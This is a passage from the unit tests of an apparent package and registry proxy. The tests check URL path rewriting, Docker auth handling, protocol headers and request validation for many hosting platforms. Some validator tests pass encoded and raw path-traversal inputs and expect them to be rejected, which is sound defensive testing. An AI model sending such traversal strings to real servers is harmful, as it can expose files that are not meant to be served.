expect(baseUrl).toBeDefined(); expect(baseUrl).toMatch(/^https?:\/\/.+/); }); }); it('should have unified transform function', () => { expect(transformPath).toBeDefined(); expect(typeof transformPath).toBe('function'); }); }); describe('Unified Transform Function', () => { it('should transform GitHub paths correctly', () => { expect(transformPath('/gh/microsoft/vscode/archive/main.zip', 'gh')).toBe( '/microsoft/vscode/archive/main.zip' ); expect(transformPath('/gh/user/repo.git', 'gh')).toBe('/user/repo.git'); }); it('should transform GitHub Gist paths correctly', () => { expect(transformPath('/gist/username/gist-id/raw/file.txt', 'gist')).toBe( '/username/gist-id/raw/file.txt' ); expect(transformPath('/gist/username/gist-id.git', 'gist')).toBe('/username/gist-id.git'); }); it('should transform GitLab paths correctly', () => { expect(transformPath('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', 'gl')).toBe( '/gitlab-org/gitlab/-/archive/master/gitlab-master.zip' ); }); it('should transform SourceForge paths correctly', () => { expect( transformPath('/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download', 'sf') ).toBe('/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download'); }); it('should transform Gitea paths correctly', () => { expect(transformPath('/gitea/gitea/gitea/archive/master.zip', 'gitea')).toBe( '/gitea/gitea/archive/master.zip' ); }); it('should transform Codeberg paths correctly', () => { expect(transformPath('/codeberg/forgejo/forgejo/archive/forgejo.zip', 'codeberg')).toBe( '/forgejo/forgejo/archive/forgejo.zip' ); }); it('should transform Hugging Face paths correctly', () => { expect(transformPath('/hf/microsoft/DialoGPT-medium/resolve/main/config.json', 'hf')).toBe( '/microsoft/DialoGPT-medium/resolve/main/config.json' ); expect(transformPath('/hf/datasets/squad/resolve/main/train.json', 'hf')).toBe( '/datasets/squad/resolve/main/train.json' ); }); it('should transform Civitai paths correctly', () => { expect(transformPath('/civitai/api/v1/models', 'civitai')).toBe('/api/v1/models'); expect(transformPath('/civitai/api/v1/model-versions/1318', 'civitai')).toBe( '/api/v1/model-versions/1318' ); expect(transformPath('/civitai/api/download/models/1105', 'civitai')).toBe( '/api/download/models/1105' ); }); it('should transform npm paths correctly', () => { expect(transformPath('/npm/react/-/react-18.2.0.tgz', 'npm')).toBe( '/react/-/react-18.2.0.tgz' ); expect(transformPath('/npm/lodash', 'npm')).toBe('/lodash'); }); it('should transform PyPI paths correctly', () => { expect(transformPath('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi')).toBe( '/packages/source/r/requests/requests-2.31.0.tar.gz' ); expect(transformPath('/pypi/simple/requests/', 'pypi')).toBe('/simple/requests/'); }); it('should transform PyPI files paths correctly', () => { expect( transformPath('/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi-files') ).toBe('/packages/source/r/requests/requests-2.31.0.tar.gz'); }); it('should transform conda default channel paths correctly', () => { expect(transformPath('/conda/pkgs/main/linux-64/numpy-1.24.3.conda', 'conda')).toBe( '/pkgs/main/linux-64/numpy-1.24.3.conda' ); }); it('should transform conda community channel paths correctly', () => { expect( transformPath('/conda/community/conda-forge/linux-64/repodata.json', 'conda-community') ).toBe('/conda-forge/linux-64/repodata.json'); }); it('should transform Flathub paths correctly', () => { expect(transformPath('/flathub/repo/summary', 'flathub')).toBe('/repo/summary'); expect(transformPath('/flathub/repo/flathub.flatpakrepo', 'flathub')).toBe( '/repo/flathub.flatpakrepo' ); }); it('should transform container registry paths correctly', () => { expect( transformPath('/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', 'cr-ghcr') ).toBe('/v2/nginxinc/nginx-unprivileged/manifests/latest'); expect(transformPath('/cr/gcr/v2/distroless/base/manifests/latest', 'cr-gcr')).toBe( '/v2/distroless/base/manifests/latest' ); }); }); describe('Platform Base URLs', () => { it('should have correct GitHub base URL', () => { expect(PLATFORMS.gh).toBe('https://github.com'); }); it('should have correct GitHub Gist base URL', () => { expect(PLATFORMS.gist).toBe('https://gist.github.com'); }); it('should have correct GitLab base URL', () => { expect(PLATFORMS.gl).toBe('https://gitlab.com'); }); it('should have correct SourceForge base URL', () => { expect(PLATFORMS.sf).toBe('https://sourceforge.net'); }); it('should have correct Gitea base URL', () => { expect(PLATFORMS.gitea).toBe('https://gitea.com'); }); it('should have correct Codeberg base URL', () => { expect(PLATFORMS.codeberg).toBe('https://codeberg.org'); }); it('should have correct Hugging Face base URL', () => { expect(PLATFORMS.hf).toBe('https://huggingface.co'); }); it('should have correct npm base URL', () => { expect(PLATFORMS.npm).toBe('https://registry.npmjs.org'); }); it('should have correct PyPI base URL', () => { expect(PLATFORMS.pypi).toBe('https://pypi.org'); }); it('should have correct PyPI files base URL', () => { expect(PLATFORMS['pypi-files']).toBe('https://files.pythonhosted.org'); }); it('should have correct conda base URLs', () => { expect(PLATFORMS.conda).toBe('https://repo.anaconda.com'); expect(PLATFORMS['conda-community']).toBe('https://conda.anaconda.org'); }); it('should have correct Flathub base URL', () => { expect(PLATFORMS.flathub).toBe('https://dl.flathub.org'); }); it('should have correct container registry base URLs', () => { expect(PLATFORMS['cr-ghcr']).toBe('https://ghcr.io'); expect(PLATFORMS['cr-gcr']).toBe('https://gcr.io'); expect(PLATFORMS['cr-mcr']).toBe('https://mcr.microsoft.com'); }); }); describe('Path Transformation Edge Cases', () => { it('should handle empty paths gracefully', () => { Object.keys(PLATFORMS).forEach(key => { expect(() => transformPath('', key)).not.toThrow(); }); }); it('should handle paths without platform prefix', () => { Object.keys(PLATFORMS).forEach(key => { const testPath = '/some/random/path'; expect(() => transformPath(testPath, key)).not.toThrow(); }); }); it('should handle unknown platform keys', () => { const testPath = '/unknown/test/path'; expect(transformPath(testPath, 'unknown')).toBe(testPath); }); it('should handle paths with query parameters', () => { expect(transformPath('/gh/user/repo/file.txt?ref=main', 'gh')).toBe( '/user/repo/file.txt?ref=main' ); }); it('should handle paths with fragments', () => { expect(transformPath('/gh/user/repo/README.md#section', 'gh')).toBe( '/user/repo/README.md#section' ); }); }); describe('URL Construction', () => { it('should construct valid URLs for all platforms', () => { Object.entries(PLATFORMS).forEach(([key, baseUrl]) => { const testPath = `/${key.replace('-', '/')}/test/path`; const transformedPath = transformPath(testPath, key); const fullUrl = baseUrl + transformedPath; expect(() => new URL(fullUrl)).not.toThrow(); }); }); it('should handle container registry URL construction', () => { const testPath = '/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest'; const transformedPath = transformPath(testPath, 'cr-ghcr'); const fullUrl = PLATFORMS['cr-ghcr'] + transformedPath; expect(() => new URL(fullUrl)).not.toThrow(); expect(fullUrl).toBe('https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest'); }); }); describe('Jenkins Plugin Support', () => { it('should have Jenkins platform defined', () => { expect(PLATFORMS).toHaveProperty('jenkins'); expect(PLATFORMS.jenkins).toBe('https://updates.jenkins.io'); }); it('should transform Jenkins paths correctly', () => { // Update center JSON - should be redirected to current expect(transformPath('/jenkins/update-center.json', 'jenkins')).toBe( '/current/update-center.json' ); expect(transformPath('/jenkins/update-center.actual.json', 'jenkins')).toBe( '/current/update-center.actual.json' ); // Plugin downloads - should preserve download paths expect( transformPath('/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', 'jenkins') ).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi'); // Experimental update center - should preserve experimental paths expect(transformPath('/jenkins/experimental/update-center.json', 'jenkins')).toBe( '/experimental/update-center.json' ); // Current paths - should preserve current paths expect(transformPath('/jenkins/current/update-center.json', 'jenkins')).toBe( '/current/update-center.json' ); // Other paths - should be prefixed with current expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path'); }); it('should construct valid URLs for Jenkins services', () => { const jenkinsUrls = [ '/jenkins/update-center.json', '/jenkins/download/plugins/git/5.2.1/git.hpi', '/jenkins/experimental/update-center.json', '/jenkins/current/update-center.actual.json' ]; jenkinsUrls.forEach(path => { const transformedPath = transformPath(path, 'jenkins'); const fullUrl = PLATFORMS.jenkins + transformedPath; expect(() => new URL(fullUrl)).not.toThrow(); }); }); }); describe('Container Registry Support', () => { it('should have all major container registries defined', () => { const containerRegistries = [ 'cr-quay', 'cr-gcr', 'cr-mcr', 'cr-ecr', 'cr-ghcr', 'cr-gitlab', 'cr-redhat', 'cr-oracle', 'cr-cloudsmith', 'cr-digitalocean', 'cr-vmware', 'cr-k8s', 'cr-heroku', 'cr-suse', 'cr-opensuse', 'cr-gitpod' ]; containerRegistries.forEach(registry => { expect(PLATFORMS).toHaveProperty(registry); expect(PLATFORMS[registry]).toBeDefined(); expect(typeof PLATFORMS[registry]).toBe('string'); }); }); it('should use the correct Amazon ECR Public base URL', () => { expect(PLATFORMS['cr-ecr']).toBe('https://public.ecr.aws'); }); it('should transform all container registry paths correctly', () => { const containerRegistries = [ 'cr-quay', 'cr-gcr', 'cr-mcr', 'cr-ecr', 'cr-ghcr', 'cr-gitlab', 'cr-redhat', 'cr-oracle', 'cr-cloudsmith', 'cr-digitalocean', 'cr-vmware', 'cr-k8s', 'cr-heroku', 'cr-suse', 'cr-opensuse', 'cr-gitpod' ]; containerRegistries.forEach(registry => { const prefix = registry.replace('cr-', 'cr/'); const testPath = `/${prefix}/v2/test/image/manifests/latest`; const transformedPath = transformPath(testPath, registry); expect(transformedPath).toBe('/v2/test/image/manifests/latest'); }); }); }); describe('AI Inference Providers Support', () => { it('should have all major AI inference providers defined', () => { const aiProviders = [ 'ip-openai', 'ip-anthropic', 'ip-gemini', 'ip-vertexai', 'ip-cohere', 'ip-mistralai', 'ip-xai', 'ip-githubmodels', 'ip-nvidiaapi', 'ip-perplexity', 'ip-braintrust', 'ip-groq', 'ip-cerebras', 'ip-sambanova', 'ip-huggingface', 'ip-together', 'ip-replicate', 'ip-fireworks', 'ip-nebius', 'ip-jina', 'ip-voyageai', 'ip-falai', 'ip-novita', 'ip-burncloud', 'ip-openrouter', 'ip-poe', 'ip-featherlessai', 'ip-hyperbolic' ]; aiProviders.forEach(provider => { expect(PLATFORMS).toHaveProperty(provider); expect(PLATFORMS[provider]).toBeDefined(); expect(typeof PLATFORMS[provider]).toBe('string'); expect(PLATFORMS[provider]).toMatch(/^https:\/\/.+/); }); }); it('should transform AI inference provider paths correctly', () => { const testCases = [ { provider: 'ip-openai', inputPath: '/ip/openai/v1/chat/completions', expectedPath: '/v1/chat/completions' }, { provider: 'ip-anthropic', inputPath: '/ip/anthropic/v1/messages', expectedPath: '/v1/messages' }, { provider: 'ip-gemini', inputPath: '/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent', expectedPath: '/v1beta/models/gemini-2.5-flash:generateContent' }, { provider: 'ip-cohere', inputPath: '/ip/cohere/v1/generate', expectedPath: '/v1/generate' }, { provider: 'ip-huggingface', inputPath: '/ip/huggingface/models/meta-llama/Llama-2-7b-chat-hf', expectedPath: '/models/meta-llama/Llama-2-7b-chat-hf' }, { provider: 'ip-together', inputPath: '/ip/together/v1/chat/completions', expectedPath: '/v1/chat/completions' }, { provider: 'ip-replicate', inputPath: '/ip/replicate/v1/predictions', expectedPath: '/v1/predictions' }, { provider: 'ip-groq', inputPath: '/ip/groq/openai/v1/chat/completions', expectedPath: '/openai/v1/chat/completions' } ]; testCases.forEach(({ provider, inputPath, expectedPath }) => { const transformedPath = transformPath(inputPath, provider); expect(transformedPath).toBe(expectedPath); }); }); it('should construct valid URLs for AI inference providers', () => { const aiProviders = [ 'ip-openrouter', 'ip-openai', 'ip-anthropic', 'ip-gemini', 'ip-cohere', 'ip-huggingface', 'ip-together', 'ip-replicate', 'ip-groq', 'ip-fireworks', 'ip-mistralai', 'ip-perplexity' ]; aiProviders.forEach(provider => { const testPath = `/ip/${provider.replace('ip-', '')}/v1/test`; const transformedPath = transformPath(testPath, provider); const baseUrl = PLATFORMS[provider]; // Skip dynamic URLs with placeholders if (!baseUrl.includes('{')) { const fullUrl = baseUrl + transformedPath; expect(() => new URL(fullUrl)).not.toThrow(); } }); }); }); }); ================================================ FILE: test/unit/protocol-helpers.test.js ================================================ import { describe, expect, it } from 'vitest'; import { configureAIHeaders } from '../../src/protocols/ai.js'; import { configureGitHeaders, isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js'; import { configureHuggingFaceHeaders, isHuggingFaceAPIRequest } from '../../src/protocols/huggingface.js'; describe('Protocol helper coverage', () => { it('detects Git requests from service queries and content types', () => { const serviceRequest = new Request('https://example.com/repo.git?service=git-receive-pack'); const contentTypeRequest = new Request('https://example.com/repo.git', { method: 'POST', headers: { 'Content-Type': 'application/x-git-upload-pack-request' } }); expect(isGitRequest(serviceRequest, new URL(serviceRequest.url))).toBe(true); expect(isGitRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true); }); it('detects Git LFS requests from object paths and headers', () => { const infoRequest = new Request('https://example.com/repo.git/info/lfs'); const objectRequest = new Request( 'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef' ); const headerRequest = new Request('https://example.com/repo.git/download', { headers: { Accept: 'application/vnd.git-lfs+json' } }); expect(isGitLFSRequest(infoRequest, new URL(infoRequest.url))).toBe(true); expect(isGitLFSRequest(objectRequest, new URL(objectRequest.url))).toBe(true); expect(isGitLFSRequest(headerRequest, new URL(headerRequest.url))).toBe(true); }); it('configures standard Git upload and receive pack headers', () => { const uploadHeaders = new Headers(); const uploadRequest = new Request('https://example.com/repo.git/git-upload-pack', { method: 'POST' }); configureGitHeaders(uploadHeaders, uploadRequest, new URL(uploadRequest.url), false); const receiveHeaders = new Headers(); const receiveRequest = new Request('https://example.com/repo.git/git-receive-pack', { method: 'POST' }); configureGitHeaders(receiveHeaders, receiveRequest, new URL(receiveRequest.url), false); expect(uploadHeaders.get('User-Agent')).toBe('git/2.34.1'); expect(uploadHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request'); expect(receiveHeaders.get('User-Agent')).toBe('git/2.34.1'); expect(receiveHeaders.get('Content-Type')).toBe('application/x-git-receive-pack-request'); }); it('preserves existing Git headers when already provided', () => { const headers = new Headers({ 'Content-Type': 'application/custom', 'User-Agent': 'custom-git/9.9.9' }); const request = new Request('https://example.com/repo.git/git-upload-pack', { method: 'POST' }); configureGitHeaders(headers, request, new URL(request.url), false); expect(headers.get('User-Agent')).toBe('custom-git/9.9.9'); expect(headers.get('Content-Type')).toBe('application/custom'); }); it('configures Git LFS batch and object download headers', () => { const batchHeaders = new Headers(); const batchRequest = new Request('https://example.com/repo.git/objects/batch', { method: 'POST' }); configureGitHeaders(batchHeaders, batchRequest, new URL(batchRequest.url), true); const objectHeaders = new Headers(); const objectRequest = new Request( 'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef' ); configureGitHeaders(objectHeaders, objectRequest, new URL(objectRequest.url), true); expect(batchHeaders.get('User-Agent')).toContain('git-lfs/'); expect(batchHeaders.get('Accept')).toBe('application/vnd.git-lfs+json'); expect(batchHeaders.get('Content-Type')).toBe('application/vnd.git-lfs+json'); expect(objectHeaders.get('Accept')).toBe('application/octet-stream'); }); it('detects Hugging Face API and token passthrough endpoints', () => { const apiRequest = new Request('https://example.com/hf/api/models/demo'); const tokenRequest = new Request('https://example.com/hf/token'); const regularRequest = new Request( 'https://example.com/hf/meta-llama/model/resolve/main/config.json' ); expect(isHuggingFaceAPIRequest(apiRequest, new URL(apiRequest.url))).toBe(true); expect(isHuggingFaceAPIRequest(tokenRequest, new URL(tokenRequest.url))).toBe(true); expect(isHuggingFaceAPIRequest(regularRequest, new URL(regularRequest.url))).toBe(false); }); it('configures Hugging Face headers without overwriting explicit content types', () => { const headers = new Headers(); const request = new Request('https://example.com/hf/api/models/demo', { method: 'POST', headers: { Authorization: 'Bearer secret-token' } }); configureHuggingFaceHeaders(headers, request); const preconfiguredHeaders = new Headers({ 'Content-Type': 'multipart/form-data' }); configureHuggingFaceHeaders(preconfiguredHeaders, request); expect(headers.get('Authorization')).toBe('Bearer secret-token'); expect(headers.get('Content-Type')).toBe('application/json'); expect(preconfiguredHeaders.get('Content-Type')).toBe('multipart/form-data'); }); it('configures AI passthrough headers and preserves explicit values', () => { const headers = new Headers(); const request = new Request('https://example.com/ip/openai/v1/chat/completions', { method: 'POST' }); configureAIHeaders(headers, request); const preconfiguredHeaders = new Headers({ 'Content-Type': 'application/x-ndjson', 'User-Agent': 'custom-ai-proxy/2.0' }); configureAIHeaders(preconfiguredHeaders, request); expect(headers.get('Content-Type')).toBe('application/json'); expect(headers.get('User-Agent')).toBe('Xget-AI-Proxy/1.0'); expect(preconfiguredHeaders.get('Content-Type')).toBe('application/x-ndjson'); expect(preconfiguredHeaders.get('User-Agent')).toBe('custom-ai-proxy/2.0'); }); }); ================================================ FILE: test/unit/protocols.test.js ================================================ import { afterEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; import { CONFIG } from '../../src/config/index.js'; import { isAIInferenceRequest } from '../../src/protocols/ai.js'; import { getScopeFromUrl, handleDockerAuth, readRegistryTokenResponse } from '../../src/protocols/docker.js'; import { isDockerRequest } from '../../src/utils/validation.js'; /** @type {ExecutionContext} */ const executionContext = { waitUntil() {}, passThroughOnException() {} }; describe('Protocol Detection', () => { it('only treats /ip-prefixed paths as AI inference requests', () => { const request = new Request('https://example.com/gh/user/repo/v1/chat/completions', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); const url = new URL(request.url); expect(isAIInferenceRequest(request, url)).toBe(false); }); it('does not treat nested /v2/ segments in regular paths as Docker requests', () => { const request = new Request( 'https://example.com/gh/user/repo/releases/download/v2/file.tar.gz' ); const url = new URL(request.url); expect(isDockerRequest(request, url)).toBe(false); }); }); describe('Docker Authentication', () => { afterEach(() => { vi.restoreAllMocks(); }); it('derives scoped pull access from /cr-prefixed registry requests', () => { const url = new URL('https://example.com/cr/docker/v2/nginx/manifests/latest'); expect(getScopeFromUrl(url, url.pathname, 'cr-docker')).toBe('repository:library/nginx:pull'); }); it('normalizes Docker Hub official image scopes during auth proxying', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => { const url = String(input); if (url === 'https://registry-1.docker.io/v2/') { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io"' } }); } return new Response(JSON.stringify({ token: 'token' }), { status: 200, headers: { 'Content-Type': 'application/json' } }); }); const request = new Request( 'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget' ); const response = await handleDockerAuth(request, new URL(request.url), CONFIG); expect(response.status).toBe(200); expect(String(fetchSpy.mock.calls[1][0])).toContain( 'scope=repository%3Alibrary%2Fnginx%3Apull' ); }); it('routes platform-prefixed auth endpoints without duplicating /v2', async () => { /** @type {string[]} */ const upstreamCalls = []; vi.spyOn(globalThis, 'fetch').mockImplementation(async input => { upstreamCalls.push(String(input)); if (String(input) === 'https://ghcr.io/v2/') { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"' } }); } return new Response(JSON.stringify({ token: 'token' }), { status: 200, headers: { 'Content-Type': 'application/json' } }); }); const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget'); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(upstreamCalls[0]).toBe('https://ghcr.io/v2/'); }); it('routes registry manifests without duplicating /v2', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('', { status: 200, headers: { 'Content-Length': '0' } }) ); const request = new Request( 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', { method: 'HEAD' } ); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(String(fetchSpy.mock.calls[0][0])).toBe( 'https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest' ); }); it('routes host-style registry manifests through the upstream v2 API', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('', { status: 200, headers: { 'Content-Length': '0' } }) ); const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', { method: 'HEAD' }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(String(fetchSpy.mock.calls[0][0])).toBe( 'https://ghcr.io/v2/xixu-me/xget/manifests/latest' ); }); it('normalizes Docker Hub official image paths during proxying', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('', { status: 200, headers: { 'Content-Length': '0' } }) ); const request = new Request('https://example.com/cr/docker/v2/nginx/manifests/latest', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(String(fetchSpy.mock.calls[0][0])).toBe( 'https://registry-1.docker.io/v2/library/nginx/manifests/latest' ); }); it('preserves platform-specific Docker auth challenges', async () => { let callCount = 0; vi.spyOn(globalThis, 'fetch').mockImplementation(async () => { callCount++; if (callCount === 1) { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"' } }); } return new Response('denied', { status: 401 }); }); const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(401); expect(response.headers.get('WWW-Authenticate')).toBe( 'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"' ); expect(await response.text()).toContain('UNAUTHORIZED'); }); it('follows 303 redirects for Docker registry responses without forwarding auth headers', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { const headers = new Headers(init?.headers); const url = String(input); if (url === 'https://ghcr.io/v2/xixu-me/xget/manifests/latest') { expect(headers.get('Authorization')).toBe('Bearer token123'); return new Response(null, { status: 303, headers: { Location: 'https://pkg-containers.githubusercontent.com/manifest' } }); } if (url === 'https://pkg-containers.githubusercontent.com/manifest') { expect(headers.get('Authorization')).toBeNull(); return new Response('', { status: 200, headers: { 'Content-Length': '0' } }); } throw new Error(`Unexpected fetch URL: ${url}`); }); const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', { headers: { Authorization: 'Bearer token123' } }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(2); }); it('accepts standard repository scopes on platform-prefixed auth endpoints', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => { const url = String(input); if (url === 'https://ghcr.io/v2/') { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"' } }); } return new Response(JSON.stringify({ token: 'token' }), { status: 200, headers: { 'Content-Type': 'application/json' } }); }); const request = new Request( 'https://example.com/cr/ghcr/v2/auth?scope=repository:private/repo:pull&service=Xget' ); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(String(fetchSpy.mock.calls[1][0])).toContain('scope=repository%3Aprivate%2Frepo%3Apull'); }); it('treats empty JSON token responses as unusable instead of throwing', async () => { const token = await readRegistryTokenResponse( new Response('', { status: 200, headers: { 'Content-Type': 'application/json' } }) ); expect(token).toBeNull(); }); it('falls back cleanly when the token service returns an empty success body', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); let callCount = 0; vi.spyOn(globalThis, 'fetch').mockImplementation(async () => { callCount++; if (callCount === 1) { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"' } }); } return new Response('', { status: 200 }); }); const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(401); expect(response.headers.get('WWW-Authenticate')).toBe( 'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"' ); expect(await response.text()).toContain('UNAUTHORIZED'); expect(warnSpy).not.toHaveBeenCalled(); }); }); describe('Protocol Header Configuration', () => { afterEach(() => { vi.restoreAllMocks(); }); it('does not send Git user-agent for AI inference requests', async () => { /** @type {{ url: string, userAgent: string | null }[]} */ const observed = []; vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { const headers = new Headers(init?.headers); observed.push({ url: String(input), userAgent: headers.get('User-Agent') }); return new Response('{}', { status: 200, headers: { 'Content-Type': 'application/json' } }); }); const request = new Request('https://example.com/ip/openai/v1/chat/completions', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); const response = await worker.fetch(request, {}, executionContext); expect(response.status).toBe(200); expect(observed[0]).toEqual({ url: 'https://api.openai.com/v1/chat/completions', userAgent: 'Xget-AI-Proxy/1.0' }); }); it('updates Content-Length after rewriting npm metadata', async () => { const upstreamBody = JSON.stringify({ dist: { tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz' } }); vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response(upstreamBody, { status: 200, headers: { 'Content-Type': 'application/json', 'Content-Length': String(upstreamBody.length) } }) ); const response = await worker.fetch( new Request('https://example.com/npm/pkg'), {}, executionContext ); const body = await response.text(); expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz'); expect(response.headers.get('Content-Length')).toBe( String(new TextEncoder().encode(body).byteLength) ); }); }); ================================================ FILE: test/unit/runtime-helpers.test.js ================================================ import { afterEach, describe, expect, it, vi } from 'vitest'; import { PerformanceMonitor, addPerformanceHeaders } from '../../src/utils/performance.js'; import { isFlatpakReferenceFilePath, rewriteTextResponse, shouldRewriteTextResponse } from '../../src/utils/rewrite.js'; afterEach(() => { vi.restoreAllMocks(); }); describe('Runtime helper coverage', () => { it('serializes performance metrics and warns on duplicate marks', () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); const monitor = new PerformanceMonitor(); monitor.mark('request-start'); monitor.mark('request-start'); monitor.mark('complete'); const response = addPerformanceHeaders( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }), monitor ); const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}'); expect(warnSpy).toHaveBeenCalledWith('Mark with name request-start already exists.'); expect(metrics).toHaveProperty('request-start'); expect(metrics).toHaveProperty('complete'); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); }); it('rewrites only supported upstream response types', () => { expect(shouldRewriteTextResponse('pypi', '/pypi/simple/demo/', 'text/html')).toBe(true); expect(shouldRewriteTextResponse('npm', '/npm/demo', 'application/json')).toBe(true); expect( shouldRewriteTextResponse( 'flathub', '/flathub/repo/demo.flatpakrepo', 'application/octet-stream' ) ).toBe(true); expect(shouldRewriteTextResponse('gh', '/gh/user/repo/file.txt', 'text/plain')).toBe(false); expect(isFlatpakReferenceFilePath('/flathub/repo/demo.flatpakref')).toBe(true); expect(isFlatpakReferenceFilePath('/flathub/repo/summary')).toBe(false); expect( rewriteTextResponse( 'flathub', '/flathub/repo/demo.flatpakrepo', 'Url=https://dl.flathub.org/repo/', 'https://example.com' ) ).toContain('https://example.com/flathub/repo/'); expect( rewriteTextResponse('gh', '/gh/user/repo/file.txt', 'unchanged', 'https://example.com') ).toBe('unchanged'); }); }); ================================================ FILE: test/unit/utils.test.js ================================================ import { describe, expect, it } from 'vitest'; import { createConfig } from '../../src/config/index.js'; import { isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js'; import { addCorsHeaders, addSecurityHeaders, createErrorResponse, resolveAllowedOrigin } from '../../src/utils/security.js'; import { getAllowedMethods, isDockerRequest, validateRequest } from '../../src/utils/validation.js'; describe('Utility Functions', () => { describe('isGitRequest', () => { it('should identify Git info/refs requests', () => { const request = new Request('https://example.com/repo.git/info/refs'); const url = new URL(request.url); expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git requests by User-Agent', () => { const request = new Request('https://example.com/repo.git', { headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); expect(isGitRequest(request, url)).toBe(true); }); it('should not identify regular file requests as Git', () => { const request = new Request('https://example.com/repo/file.txt'); const url = new URL(request.url); expect(isGitRequest(request, url)).toBe(false); }); }); describe('isGitLFSRequest', () => { it('should identify LFS batch API requests', () => { const request = new Request('https://example.com/repo.git/objects/batch', { method: 'POST', headers: { 'Content-Type': 'application/vnd.git-lfs+json' } }); const url = new URL(request.url); expect(isGitLFSRequest(request, url)).toBe(true); }); it('should identify LFS requests by User-Agent', () => { const request = new Request('https://example.com/repo.git', { headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' } }); const url = new URL(request.url); expect(isGitLFSRequest(request, url)).toBe(true); }); it('should not identify regular file requests as LFS', () => { const request = new Request('https://example.com/repo/file.txt'); const url = new URL(request.url); expect(isGitLFSRequest(request, url)).toBe(false); }); }); describe('validateRequest', () => { it('should allow GET requests', () => { const request = new Request('https://example.com/test', { method: 'GET' }); const url = new URL(request.url); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(true); }); it('should allow POST requests for Git operations', () => { const request = new Request('https://example.com/repo.git/git-upload-pack', { method: 'POST', headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(true); }); it('should reject encoded traversal attempts against the production validator', () => { const request = new Request('https://example.com/gh/user/repo/%2e%2e%2fsecret'); const url = new URL(request.url); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(false); expect(result.status).toBe(400); }); it('should reject raw traversal sequences from the original request URL', () => { const request = /** @type {Request} */ ({ headers: new Headers(), method: 'GET', url: 'https://example.com/gh/user/repo/../secret' }); const url = new URL('https://example.com/gh/user/secret'); const result = 